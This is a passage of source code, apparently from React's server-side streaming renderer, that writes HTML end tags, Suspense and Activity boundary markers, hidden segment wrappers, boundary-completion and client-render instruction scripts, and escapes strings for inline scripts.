formatContext,\n      );\n    case 'html': {\n      return pushStartHtml(\n        target,\n        props,\n        renderState,\n        preambleState,\n        formatContext,\n      );\n    }\n    default: {\n      if (type.indexOf('-') !== -1) {\n        // Custom element\n        return pushStartCustomElement(target, props, type, formatContext);\n      }\n    }\n  }\n  // Generic element\n  return pushStartGenericElement(target, props, type, formatContext);\n}\n\nconst endTagCache = new Map<string, PrecomputedChunk>();\nfunction endChunkForTag(tag: string): PrecomputedChunk {\n  let chunk = endTagCache.get(tag);\n  if (chunk === undefined) {\n    chunk = stringToPrecomputedChunk('</' + tag + '>');\n    endTagCache.set(tag, chunk);\n  }\n  return chunk;\n}\n\nexport function pushEndInstance(\n  target: Array<Chunk | PrecomputedChunk>,\n  type: string,\n  props: Object,\n  resumableState: ResumableState,\n  formatContext: FormatContext,\n): void {\n  switch (type) {\n    // We expect title and script tags to always be pushed in a unit and never\n    // return children. when we end up pushing the end tag we want to ensure\n    // there is no extra closing tag pushed\n    case 'title':\n    case 'style':\n    case 'script':\n    // Omitted close tags\n    // TODO: Instead of repeating this switch we could try to pass a flag from above.\n    // That would require returning a tuple. Which might be ok if it gets inlined.\n    // fallthrough\n    case 'area':\n    case 'base':\n    case 'br':\n    case 'col':\n    case 'embed':\n    case 'hr':\n    case 'img':\n    case 'input':\n    case 'keygen':\n    case 'link':\n    case 'meta':\n    case 'param':\n    case 'source':\n    case 'track':\n    case 'wbr': {\n      // No close tag needed.\n      return;\n    }\n    // Postamble end tags\n    // When float is enabled we omit the end tags for body and html when\n    // they represent the Document.body and Document.documentElement Nodes.\n    // This is so we can withhold them until the postamble when we know\n    // we won't emit any more tags\n    case 'body': {\n      if (formatContext.insertionMode <= HTML_HTML_MODE) {\n        resumableState.hasBody = true;\n        return;\n      }\n      break;\n    }\n    case 'html':\n      if (formatContext.insertionMode === ROOT_HTML_MODE) {\n        resumableState.hasHtml = true;\n        return;\n      }\n      break;\n    case 'head':\n      if (formatContext.insertionMode <= HTML_HTML_MODE) {\n        return;\n      }\n      break;\n  }\n  target.push(endChunkForTag(type));\n}\n\nexport function hoistPreambleState(\n  renderState: RenderState,\n  preambleState: PreambleState,\n) {\n  const rootPreamble = renderState.preamble;\n  if (rootPreamble.htmlChunks === null && preambleState.htmlChunks) {\n    rootPreamble.htmlChunks = preambleState.htmlChunks;\n  }\n  if (rootPreamble.headChunks === null && preambleState.headChunks) {\n    rootPreamble.headChunks = preambleState.headChunks;\n  }\n  if (rootPreamble.bodyChunks === null && preambleState.bodyChunks) {\n    rootPreamble.bodyChunks = preambleState.bodyChunks;\n  }\n}\n\nexport function isPreambleReady(\n  renderState: RenderState,\n  // This means there are unfinished Suspense boundaries which could contain\n  // a preamble. In the case of DOM we constrain valid programs to only having\n  // one instance of each singleton so we can determine the preamble is ready\n  // as long as we have chunks for each of these tags.\n  hasPendingPreambles: boolean,\n): boolean {\n  const preamble = renderState.preamble;\n  return (\n    // There are no remaining boundaries which might contain a preamble so\n    // the preamble is as complete as it is going to get\n    hasPendingPreambles === false ||\n    // we have a head and body tag. we don't need to wait for any more\n    // because it would be invalid to render additional copies of these tags\n    !!(preamble.headChunks && preamble.bodyChunks)\n  );\n}\n\nfunction writeBootstrap(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  const bootstrapChunks = renderState.bootstrapChunks;\n  let i = 0;\n  for (; i < bootstrapChunks.length - 1; i++) {\n    writeChunk(destination, bootstrapChunks[i]);\n  }\n  if (i < bootstrapChunks.length) {\n    const lastChunk = bootstrapChunks[i];\n    bootstrapChunks.length = 0;\n    return writeChunkAndReturn(destination, lastChunk);\n  }\n  return true;\n}\n\nconst shellTimeRuntimeScript = stringToPrecomputedChunk(markShellTime);\n\nfunction writeShellTimeInstruction(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n): boolean {\n  if (\n    enableFizzExternalRuntime &&\n    resumableState.streamingFormat !== ScriptStreamingFormat\n  ) {\n    // External runtime always tracks the shell time in the runtime.\n    return true;\n  }\n  if ((resumableState.instructions & SentMarkShellTime) !== NothingSent) {\n    // We already sent this instruction.\n    return true;\n  }\n  resumableState.instructions |= SentMarkShellTime;\n  writeChunk(destination, renderState.startInlineScript);\n  writeCompletedShellIdAttribute(destination, resumableState);\n  writeChunk(destination, endOfStartTag);\n  writeChunk(destination, shellTimeRuntimeScript);\n  return writeChunkAndReturn(destination, endInlineScript);\n}\n\nexport function writeCompletedRoot(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  isComplete: boolean,\n): boolean {\n  if (!isComplete) {\n    // If we're not already fully complete, we might complete another boundary. If so,\n    // we need to track the paint time of the shell so we know how much to throttle the reveal.\n    writeShellTimeInstruction(destination, resumableState, renderState);\n  }\n  if (enableFizzBlockingRender) {\n    const preamble = renderState.preamble;\n    if (preamble.htmlChunks || preamble.headChunks) {\n      // If we rendered the whole document, then we emitted a rel=\"expect\" that needs a\n      // matching target. Normally we use one of the bootstrap scripts for this but if\n      // there are none, then we need to emit a tag to complete the shell.\n      if (\n        (resumableState.instructions & SentCompletedShellId) ===\n        NothingSent\n      ) {\n        writeChunk(destination, startChunkForTag('template'));\n        writeCompletedShellIdAttribute(destination, resumableState);\n        writeChunk(destination, endOfStartTag);\n        writeChunk(destination, endChunkForTag('template'));\n      }\n    }\n  }\n  return writeBootstrap(destination, renderState);\n}\n\n// Structural Nodes\n\n// A placeholder is a node inside a hidden partial tree that can be filled in later, but before\n// display. It's never visible to users. We use the template tag because it can be used in every\n// type of parent. <script> tags also work in every other tag except <colgroup>.\nconst placeholder1 = stringToPrecomputedChunk('<template id=\"');\nconst placeholder2 = stringToPrecomputedChunk('\"></template>');\nexport function writePlaceholder(\n  destination: Destination,\n  renderState: RenderState,\n  id: number,\n): boolean {\n  writeChunk(destination, placeholder1);\n  writeChunk(destination, renderState.placeholderPrefix);\n  const formattedID = stringToChunk(id.toString(16));\n  writeChunk(destination, formattedID);\n  return writeChunkAndReturn(destination, placeholder2);\n}\n\n// Activity boundaries are encoded as comments.\nconst startActivityBoundary = stringToPrecomputedChunk('<!--&-->');\nconst endActivityBoundary = stringToPrecomputedChunk('<!--/&-->');\n\nexport function pushStartActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  target.push(startActivityBoundary);\n}\n\nexport function pushEndActivityBoundary(\n  target: Array<Chunk | PrecomputedChunk>,\n  renderState: RenderState,\n): void {\n  target.push(endActivityBoundary);\n}\n\n// Suspense boundaries are encoded as comments.\nconst startCompletedSuspenseBoundary = stringToPrecomputedChunk('<!--$-->');\nconst startPendingSuspenseBoundary1 = stringToPrecomputedChunk(\n  '<!--$?--><template id=\"',\n);\nconst startPendingSuspenseBoundary2 = stringToPrecomputedChunk('\"></template>');\nconst startClientRenderedSuspenseBoundary =\n  stringToPrecomputedChunk('<!--$!-->');\nconst endSuspenseBoundary = stringToPrecomputedChunk('<!--/$-->');\n\nconst clientRenderedSuspenseBoundaryError1 =\n  stringToPrecomputedChunk('<template');\nconst clientRenderedSuspenseBoundaryErrorAttrInterstitial =\n  stringToPrecomputedChunk('\"');\nconst clientRenderedSuspenseBoundaryError1A =\n  stringToPrecomputedChunk(' data-dgst=\"');\nconst clientRenderedSuspenseBoundaryError1B =\n  stringToPrecomputedChunk(' data-msg=\"');\nconst clientRenderedSuspenseBoundaryError1C =\n  stringToPrecomputedChunk(' data-stck=\"');\nconst clientRenderedSuspenseBoundaryError1D =\n  stringToPrecomputedChunk(' data-cstck=\"');\nconst clientRenderedSuspenseBoundaryError2 =\n  stringToPrecomputedChunk('></template>');\n\nexport function writeStartCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  return writeChunkAndReturn(destination, startCompletedSuspenseBoundary);\n}\nexport function writeStartPendingSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n  id: number,\n): boolean {\n  writeChunk(destination, startPendingSuspenseBoundary1);\n\n  if (id === null) {\n    throw new Error(\n      'An ID must have been assigned before we can complete the boundary.',\n    );\n  }\n\n  writeChunk(destination, renderState.boundaryPrefix);\n  writeChunk(destination, stringToChunk(id.toString(16)));\n  return writeChunkAndReturn(destination, startPendingSuspenseBoundary2);\n}\nexport function writeStartClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n  errorDigest: ?string,\n  errorMessage: ?string,\n  errorStack: ?string,\n  errorComponentStack: ?string,\n): boolean {\n  let result;\n  result = writeChunkAndReturn(\n    destination,\n    startClientRenderedSuspenseBoundary,\n  );\n  writeChunk(destination, clientRenderedSuspenseBoundaryError1);\n  if (errorDigest) {\n    writeChunk(destination, clientRenderedSuspenseBoundaryError1A);\n    writeChunk(destination, stringToChunk(escapeTextForBrowser(errorDigest)));\n    writeChunk(\n      destination,\n      clientRenderedSuspenseBoundaryErrorAttrInterstitial,\n    );\n  }\n  if (__DEV__) {\n    if (errorMessage) {\n      writeChunk(destination, clientRenderedSuspenseBoundaryError1B);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorMessage)),\n      );\n      writeChunk(\n        destination,\n        clientRenderedSuspenseBoundaryErrorAttrInterstitial,\n      );\n    }\n    if (errorStack) {\n      writeChunk(destination, clientRenderedSuspenseBoundaryError1C);\n      writeChunk(destination, stringToChunk(escapeTextForBrowser(errorStack)));\n      writeChunk(\n        destination,\n        clientRenderedSuspenseBoundaryErrorAttrInterstitial,\n      );\n    }\n    if (errorComponentStack) {\n      writeChunk(destination, clientRenderedSuspenseBoundaryError1D);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorComponentStack)),\n      );\n      writeChunk(\n        destination,\n        clientRenderedSuspenseBoundaryErrorAttrInterstitial,\n      );\n    }\n  }\n  result = writeChunkAndReturn(\n    destination,\n    clientRenderedSuspenseBoundaryError2,\n  );\n  return result;\n}\nexport function writeEndCompletedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  return writeChunkAndReturn(destination, endSuspenseBoundary);\n}\nexport function writeEndPendingSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  return writeChunkAndReturn(destination, endSuspenseBoundary);\n}\nexport function writeEndClientRenderedSuspenseBoundary(\n  destination: Destination,\n  renderState: RenderState,\n): boolean {\n  return writeChunkAndReturn(destination, endSuspenseBoundary);\n}\n\nconst startSegmentHTML = stringToPrecomputedChunk('<div hidden id=\"');\nconst startSegmentHTML2 = stringToPrecomputedChunk('\">');\nconst endSegmentHTML = stringToPrecomputedChunk('</div>');\n\nconst startSegmentSVG = stringToPrecomputedChunk(\n  '<svg aria-hidden=\"true\" style=\"display:none\" id=\"',\n);\nconst startSegmentSVG2 = stringToPrecomputedChunk('\">');\nconst endSegmentSVG = stringToPrecomputedChunk('</svg>');\n\nconst startSegmentMathML = stringToPrecomputedChunk(\n  '<math aria-hidden=\"true\" style=\"display:none\" id=\"',\n);\nconst startSegmentMathML2 = stringToPrecomputedChunk('\">');\nconst endSegmentMathML = stringToPrecomputedChunk('</math>');\n\nconst startSegmentTable = stringToPrecomputedChunk('<table hidden id=\"');\nconst startSegmentTable2 = stringToPrecomputedChunk('\">');\nconst endSegmentTable = stringToPrecomputedChunk('</table>');\n\nconst startSegmentTableBody = stringToPrecomputedChunk(\n  '<table hidden><tbody id=\"',\n);\nconst startSegmentTableBody2 = stringToPrecomputedChunk('\">');\nconst endSegmentTableBody = stringToPrecomputedChunk('</tbody></table>');\n\nconst startSegmentTableRow = stringToPrecomputedChunk('<table hidden><tr id=\"');\nconst startSegmentTableRow2 = stringToPrecomputedChunk('\">');\nconst endSegmentTableRow = stringToPrecomputedChunk('</tr></table>');\n\nconst startSegmentColGroup = stringToPrecomputedChunk(\n  '<table hidden><colgroup id=\"',\n);\nconst startSegmentColGroup2 = stringToPrecomputedChunk('\">');\nconst endSegmentColGroup = stringToPrecomputedChunk('</colgroup></table>');\n\nexport function writeStartSegment(\n  destination: Destination,\n  renderState: RenderState,\n  formatContext: FormatContext,\n  id: number,\n): boolean {\n  switch (formatContext.insertionMode) {\n    case ROOT_HTML_MODE:\n    case HTML_HTML_MODE:\n    case HTML_HEAD_MODE:\n    case HTML_MODE: {\n      writeChunk(destination, startSegmentHTML);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentHTML2);\n    }\n    case SVG_MODE: {\n      writeChunk(destination, startSegmentSVG);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentSVG2);\n    }\n    case MATHML_MODE: {\n      writeChunk(destination, startSegmentMathML);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentMathML2);\n    }\n    case HTML_TABLE_MODE: {\n      writeChunk(destination, startSegmentTable);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentTable2);\n    }\n    // TODO: For the rest of these, there will be extra wrapper nodes that never\n    // get deleted from the document. We need to delete the table too as part\n    // of the injected scripts. They are invisible though so it's not too terrible\n    // and it's kind of an edge case to suspend in a table. Totally supported though.\n    case HTML_TABLE_BODY_MODE: {\n      writeChunk(destination, startSegmentTableBody);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentTableBody2);\n    }\n    case HTML_TABLE_ROW_MODE: {\n      writeChunk(destination, startSegmentTableRow);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentTableRow2);\n    }\n    case HTML_COLGROUP_MODE: {\n      writeChunk(destination, startSegmentColGroup);\n      writeChunk(destination, renderState.segmentPrefix);\n      writeChunk(destination, stringToChunk(id.toString(16)));\n      return writeChunkAndReturn(destination, startSegmentColGroup2);\n    }\n    default: {\n      throw new Error('Unknown insertion mode. This is a bug in React.');\n    }\n  }\n}\nexport function writeEndSegment(\n  destination: Destination,\n  formatContext: FormatContext,\n): boolean {\n  switch (formatContext.insertionMode) {\n    case ROOT_HTML_MODE:\n    case HTML_HTML_MODE:\n    case HTML_HEAD_MODE:\n    case HTML_MODE: {\n      return writeChunkAndReturn(destination, endSegmentHTML);\n    }\n    case SVG_MODE: {\n      return writeChunkAndReturn(destination, endSegmentSVG);\n    }\n    case MATHML_MODE: {\n      return writeChunkAndReturn(destination, endSegmentMathML);\n    }\n    case HTML_TABLE_MODE: {\n      return writeChunkAndReturn(destination, endSegmentTable);\n    }\n    case HTML_TABLE_BODY_MODE: {\n      return writeChunkAndReturn(destination, endSegmentTableBody);\n    }\n    case HTML_TABLE_ROW_MODE: {\n      return writeChunkAndReturn(destination, endSegmentTableRow);\n    }\n    case HTML_COLGROUP_MODE: {\n      return writeChunkAndReturn(destination, endSegmentColGroup);\n    }\n    default: {\n      throw new Error('Unknown insertion mode. This is a bug in React.');\n    }\n  }\n}\n\nconst completeSegmentScript1Full = stringToPrecomputedChunk(\n  completeSegmentFunction + '$RS(\"',\n);\nconst completeSegmentScript1Partial = stringToPrecomputedChunk('$RS(\"');\nconst completeSegmentScript2 = stringToPrecomputedChunk('\",\"');\nconst completeSegmentScriptEnd = stringToPrecomputedChunk('\")</script>');\n\nconst completeSegmentData1 = stringToPrecomputedChunk(\n  '<template data-rsi=\"\" data-sid=\"',\n);\nconst completeSegmentData2 = stringToPrecomputedChunk('\" data-pid=\"');\nconst completeSegmentDataEnd = dataElementQuotedEnd;\n\nexport function writeCompletedSegmentInstruction(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  contentSegmentID: number,\n): boolean {\n  const scriptFormat =\n    !enableFizzExternalRuntime ||\n    resumableState.streamingFormat === ScriptStreamingFormat;\n  if (scriptFormat) {\n    writeChunk(destination, renderState.startInlineScript);\n    writeChunk(destination, endOfStartTag);\n    if (\n      (resumableState.instructions & SentCompleteSegmentFunction) ===\n      NothingSent\n    ) {\n      // The first time we write this, we'll need to include the full implementation.\n      resumableState.instructions |= SentCompleteSegmentFunction;\n      writeChunk(destination, completeSegmentScript1Full);\n    } else {\n      // Future calls can just reuse the same function.\n      writeChunk(destination, completeSegmentScript1Partial);\n    }\n  } else {\n    writeChunk(destination, completeSegmentData1);\n  }\n\n  // Write function arguments, which are string literals\n  writeChunk(destination, renderState.segmentPrefix);\n  const formattedID = stringToChunk(contentSegmentID.toString(16));\n  writeChunk(destination, formattedID);\n  if (scriptFormat) {\n    writeChunk(destination, completeSegmentScript2);\n  } else {\n    writeChunk(destination, completeSegmentData2);\n  }\n  writeChunk(destination, renderState.placeholderPrefix);\n  writeChunk(destination, formattedID);\n\n  if (scriptFormat) {\n    return writeChunkAndReturn(destination, completeSegmentScriptEnd);\n  } else {\n    return writeChunkAndReturn(destination, completeSegmentDataEnd);\n  }\n}\n\nconst completeBoundaryScriptFunctionOnly = stringToPrecomputedChunk(\n  completeBoundaryFunction,\n);\nconst completeBoundaryUpgradeToViewTransitionsInstruction = stringToChunk(\n  upgradeToViewTransitionsInstruction,\n);\nconst completeBoundaryScript1Partial = stringToPrecomputedChunk('$RC(\"');\n\nconst completeBoundaryWithStylesScript1FullPartial = stringToPrecomputedChunk(\n  styleInsertionFunction + '$RR(\"',\n);\n\nconst completeBoundaryWithStylesScript1Partial =\n  stringToPrecomputedChunk('$RR(\"');\nconst completeBoundaryScript2 = stringToPrecomputedChunk('\",\"');\nconst completeBoundaryScript3a = stringToPrecomputedChunk('\",');\nconst completeBoundaryScript3b = stringToPrecomputedChunk('\"');\nconst completeBoundaryScriptEnd = stringToPrecomputedChunk(')</script>');\n\nconst completeBoundaryData1 = stringToPrecomputedChunk(\n  '<template data-rci=\"\" data-bid=\"',\n);\nconst completeBoundaryWithStylesData1 = stringToPrecomputedChunk(\n  '<template data-rri=\"\" data-bid=\"',\n);\nconst completeBoundaryData2 = stringToPrecomputedChunk('\" data-sid=\"');\nconst completeBoundaryData3a = stringToPrecomputedChunk('\" data-sty=\"');\nconst completeBoundaryDataEnd = dataElementQuotedEnd;\n\nexport function writeCompletedBoundaryInstruction(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  id: number,\n  hoistableState: HoistableState,\n): boolean {\n  const requiresStyleInsertion = renderState.stylesToHoist;\n  const requiresViewTransitions =\n    enableViewTransition &&\n    (resumableState.instructions & NeedUpgradeToViewTransitions) !==\n      NothingSent;\n  // If necessary stylesheets will be flushed with this instruction.\n  // Any style tags not yet hoisted in the Document will also be hoisted.\n  // We reset this state since after this instruction executes all styles\n  // up to this point will have been hoisted\n  renderState.stylesToHoist = false;\n  const scriptFormat =\n    !enableFizzExternalRuntime ||\n    resumableState.streamingFormat === ScriptStreamingFormat;\n  if (scriptFormat) {\n    writeChunk(destination, renderState.startInlineScript);\n    writeChunk(destination, endOfStartTag);\n    if (requiresStyleInsertion) {\n      if (\n        (resumableState.instructions & SentClientRenderFunction) ===\n        NothingSent\n      ) {\n        // The completeBoundaryWithStyles function depends on the client render function.\n        resumableState.instructions |= SentClientRenderFunction;\n        writeChunk(destination, clientRenderScriptFunctionOnly);\n      }\n      if (\n        (resumableState.instructions & SentCompleteBoundaryFunction) ===\n        NothingSent\n      ) {\n        // The completeBoundaryWithStyles function depends on the complete boundary function.\n        resumableState.instructions |= SentCompleteBoundaryFunction;\n        writeChunk(destination, completeBoundaryScriptFunctionOnly);\n      }\n      if (\n        requiresViewTransitions &&\n        (resumableState.instructions & SentUpgradeToViewTransitions) ===\n          NothingSent\n      ) {\n        resumableState.instructions |= SentUpgradeToViewTransitions;\n        writeChunk(\n          destination,\n          completeBoundaryUpgradeToViewTransitionsInstruction,\n        );\n      }\n      if (\n        (resumableState.instructions & SentStyleInsertionFunction) ===\n        NothingSent\n      ) {\n        resumableState.instructions |= SentStyleInsertionFunction;\n        writeChunk(destination, completeBoundaryWithStylesScript1FullPartial);\n      } else {\n        writeChunk(destination, completeBoundaryWithStylesScript1Partial);\n      }\n    } else {\n      if (\n        (resumableState.instructions & SentCompleteBoundaryFunction) ===\n        NothingSent\n      ) {\n        resumableState.instructions |= SentCompleteBoundaryFunction;\n        writeChunk(destination, completeBoundaryScriptFunctionOnly);\n      }\n      if (\n        requiresViewTransitions &&\n        (resumableState.instructions & SentUpgradeToViewTransitions) ===\n          NothingSent\n      ) {\n        resumableState.instructions |= SentUpgradeToViewTransitions;\n        writeChunk(\n          destination,\n          completeBoundaryUpgradeToViewTransitionsInstruction,\n        );\n      }\n      writeChunk(destination, completeBoundaryScript1Partial);\n    }\n  } else {\n    if (requiresStyleInsertion) {\n      writeChunk(destination, completeBoundaryWithStylesData1);\n    } else {\n      writeChunk(destination, completeBoundaryData1);\n    }\n  }\n\n  const idChunk = stringToChunk(id.toString(16));\n\n  writeChunk(destination, renderState.boundaryPrefix);\n  writeChunk(destination, idChunk);\n\n  // Write function arguments, which are string and array literals\n  if (scriptFormat) {\n    writeChunk(destination, completeBoundaryScript2);\n  } else {\n    writeChunk(destination, completeBoundaryData2);\n  }\n  writeChunk(destination, renderState.segmentPrefix);\n  writeChunk(destination, idChunk);\n  if (requiresStyleInsertion) {\n    // Script and data writers must format this differently:\n    //  - script writer emits an array literal, whose string elements are\n    //    escaped for javascript  e.g. [\"A\", \"B\"]\n    //  - data writer emits a string literal, which is escaped as html\n    //    e.g. [&#34;A&#34;, &#34;B&#34;]\n    if (scriptFormat) {\n      writeChunk(destination, completeBoundaryScript3a);\n      // hoistableState encodes an array literal\n      writeStyleResourceDependenciesInJS(destination, hoistableState);\n    } else {\n      writeChunk(destination, completeBoundaryData3a);\n      writeStyleResourceDependenciesInAttr(destination, hoistableState);\n    }\n  } else {\n    if (scriptFormat) {\n      writeChunk(destination, completeBoundaryScript3b);\n    }\n  }\n  let writeMore;\n  if (scriptFormat) {\n    writeMore = writeChunkAndReturn(destination, completeBoundaryScriptEnd);\n  } else {\n    writeMore = writeChunkAndReturn(destination, completeBoundaryDataEnd);\n  }\n  return writeBootstrap(destination, renderState) && writeMore;\n}\n\nconst clientRenderScriptFunctionOnly =\n  stringToPrecomputedChunk(clientRenderFunction);\n\nconst clientRenderScript1Full = stringToPrecomputedChunk(\n  clientRenderFunction + ';$RX(\"',\n);\nconst clientRenderScript1Partial = stringToPrecomputedChunk('$RX(\"');\nconst clientRenderScript1A = stringToPrecomputedChunk('\"');\nconst clientRenderErrorScriptArgInterstitial = stringToPrecomputedChunk(',');\nconst clientRenderScriptEnd = stringToPrecomputedChunk(')</script>');\n\nconst clientRenderData1 = stringToPrecomputedChunk(\n  '<template data-rxi=\"\" data-bid=\"',\n);\nconst clientRenderData2 = stringToPrecomputedChunk('\" data-dgst=\"');\nconst clientRenderData3 = stringToPrecomputedChunk('\" data-msg=\"');\nconst clientRenderData4 = stringToPrecomputedChunk('\" data-stck=\"');\nconst clientRenderData5 = stringToPrecomputedChunk('\" data-cstck=\"');\nconst clientRenderDataEnd = dataElementQuotedEnd;\n\nexport function writeClientRenderBoundaryInstruction(\n  destination: Destination,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  id: number,\n  errorDigest: ?string,\n  errorMessage: ?string,\n  errorStack: ?string,\n  errorComponentStack: ?string,\n): boolean {\n  const scriptFormat =\n    !enableFizzExternalRuntime ||\n    resumableState.streamingFormat === ScriptStreamingFormat;\n  if (scriptFormat) {\n    writeChunk(destination, renderState.startInlineScript);\n    writeChunk(destination, endOfStartTag);\n    if (\n      (resumableState.instructions & SentClientRenderFunction) ===\n      NothingSent\n    ) {\n      // The first time we write this, we'll need to include the full implementation.\n      resumableState.instructions |= SentClientRenderFunction;\n      writeChunk(destination, clientRenderScript1Full);\n    } else {\n      // Future calls can just reuse the same function.\n      writeChunk(destination, clientRenderScript1Partial);\n    }\n  } else {\n    // <template data-rxi=\"\" data-bid=\"\n    writeChunk(destination, clientRenderData1);\n  }\n\n  writeChunk(destination, renderState.boundaryPrefix);\n  writeChunk(destination, stringToChunk(id.toString(16)));\n  if (scriptFormat) {\n    // \" needs to be inserted for scripts, since ArgInterstitual does not contain\n    // leading or trailing quotes\n    writeChunk(destination, clientRenderScript1A);\n  }\n\n  if (errorDigest || errorMessage || errorStack || errorComponentStack) {\n    if (scriptFormat) {\n      // ,\"JSONString\"\n      writeChunk(destination, clientRenderErrorScriptArgInterstitial);\n      writeChunk(\n        destination,\n        stringToChunk(escapeJSStringsForInstructionScripts(errorDigest || '')),\n      );\n    } else {\n      // \" data-dgst=\"HTMLString\n      writeChunk(destination, clientRenderData2);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorDigest || '')),\n      );\n    }\n  }\n  if (errorMessage || errorStack || errorComponentStack) {\n    if (scriptFormat) {\n      // ,\"JSONString\"\n      writeChunk(destination, clientRenderErrorScriptArgInterstitial);\n      writeChunk(\n        destination,\n        stringToChunk(escapeJSStringsForInstructionScripts(errorMessage || '')),\n      );\n    } else {\n      // \" data-msg=\"HTMLString\n      writeChunk(destination, clientRenderData3);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorMessage || '')),\n      );\n    }\n  }\n  if (errorStack || errorComponentStack) {\n    // ,\"JSONString\"\n    if (scriptFormat) {\n      writeChunk(destination, clientRenderErrorScriptArgInterstitial);\n      writeChunk(\n        destination,\n        stringToChunk(escapeJSStringsForInstructionScripts(errorStack || '')),\n      );\n    } else {\n      // \" data-stck=\"HTMLString\n      writeChunk(destination, clientRenderData4);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorStack || '')),\n      );\n    }\n  }\n  if (errorComponentStack) {\n    // ,\"JSONString\"\n    if (scriptFormat) {\n      writeChunk(destination, clientRenderErrorScriptArgInterstitial);\n      writeChunk(\n        destination,\n        stringToChunk(\n          escapeJSStringsForInstructionScripts(errorComponentStack),\n        ),\n      );\n    } else {\n      // \" data-cstck=\"HTMLString\n      writeChunk(destination, clientRenderData5);\n      writeChunk(\n        destination,\n        stringToChunk(escapeTextForBrowser(errorComponentStack)),\n      );\n    }\n  }\n\n  if (scriptFormat) {\n    // ></script>\n    return writeChunkAndReturn(destination, clientRenderScriptEnd);\n  } else {\n    // \"></template>\n    return writeChunkAndReturn(destination, clientRenderDataEnd);\n  }\n}\n\nconst regexForJSStringsInInstructionScripts = /[<\\u2028\\u2029]/g;\nfunction escapeJSStringsForInstructionScripts(input: string): string {\n  const escaped = JSON.stringify(input);\n  return escaped.replace(regexForJSStringsInInstructionScripts, match => {\n    switch (match) {\n      // santizing breaking out of strings and script tags\n      case '<':\n        return '\\\\u003c';\n      case '\\u2028':\n        return '\\\\u2028';\n      case '\\u2029':\n        return '\\\\u2029';\n      default: {\n        // eslint-disable-next-line react-internal/prod-error-codes\n        throw new Error(\n          'escapeJSStringsForInstructionScripts encountered a match it does not know how to replace. this means the match regex and the replacement characters are no longer in sync. This is a bug in React',\n        );\n      }\n    }\n  });\n}\n\nconst regexForJSStringsInScripts = /[&><\\u2028\\u2029]/g;\nfunction escapeJSObjectForInstructionScripts(input: Object): string {\n  const escaped = JSON.stringify(input);\n  return escaped.replace(regexForJSStringsInScripts, match => {\n    switch (match) {\n      // santizing breaking out of strings and script tags\n      case '&':\n        return '\\\\u0026';\n      case '>':\n        return '\\\\u003e';\n      case '<':\n        return '\\\\u003c';\n      case '\\u2028':\n        return '\\\\u2028';\n      case '\\u2029':\n        return '\\\\u2029';\n      default: {\n        // eslint-disable-next-line react-internal/prod-error-codes\n        throw new Error(\n          'escapeJSObjectForInstructionScripts encountered a match it does not know how to replace. this means the match regex and the replacement characters are no longer in sync. This is a bug in React',\n        );\n      }\n    }\n  });\n}\n\nconst lateStyleTagResourceOpen1 = stringToPrecomputedChunk(\n  ' media=\"not all\" data-precedence=\"',\n);\nconst lateStyleTagResourceOpen2 = stringToPrecomputedChunk('\" data-href=\"');\nconst lateStyleTagResourceOpen3 = stringToPrecomputedChunk('\">');\nconst lateStyleTagTemplateClose = stringToPrecomputedChunk('</style>');\n\n// Tracks whether the boundary currently flushing is flushign style tags or has any\n// stylesheet dependencies not flushed in the Preamble.\nlet currentlyRenderingBoundaryHasStylesToHoist = false;\n\n// Acts as a return value for the forEach execution of style tag flushing.\nlet destinationHasCapacity = true;\n\nfunction flushStyleTagsLateForBoundary(\n  this: Destination,\n  styleQueue: StyleQueue,\n) {\n  const rules = styleQueue.rules;\n  const hrefs = styleQueue.hrefs;\n  if (__DEV__) {\n    if (rules.length > 0 && hrefs.length === 0) {\n      console.error(\n        'React expected to have at least one href for an a hoistable style but found none. This is a bug in React.',\n      );\n    }\n  }\n  let i = 0;\n  if (hrefs.length) {\n    writeChunk(\n      this,\n      ((currentlyFlushingRenderState: any): RenderState).startInlineStyle,\n    );\n    writeChunk(this, lateStyleTagResourceOpen1);\n    writeChunk(this, styleQueue.precedence);\n    writeChunk(this, lateStyleTagResourceOpen2);\n    for (; i < hrefs.length - 1; i++) {\n      writeChunk(this, hrefs[i]);\n      writeChunk(this, spaceSeparator);\n    }\n    writeChunk(this, hrefs[i]);\n    writeChunk(this, lateStyleTagResourceOpen3);\n    for (i = 0; i < rules.length; i++) {\n      writeChunk(this, rules[i]);\n    }\n    destinationHasCapacity = writeChunkAndReturn(\n      this,\n      lateStyleTagTemplateClose,\n    );\n\n    // We wrote style tags for this boundary and we may need to emit a script\n    // to hoist them.\n    currentlyRenderingBoundaryHasStylesToHoist = true;\n\n    // style resources can flush continuously since more rules may be written into\n    // them with new 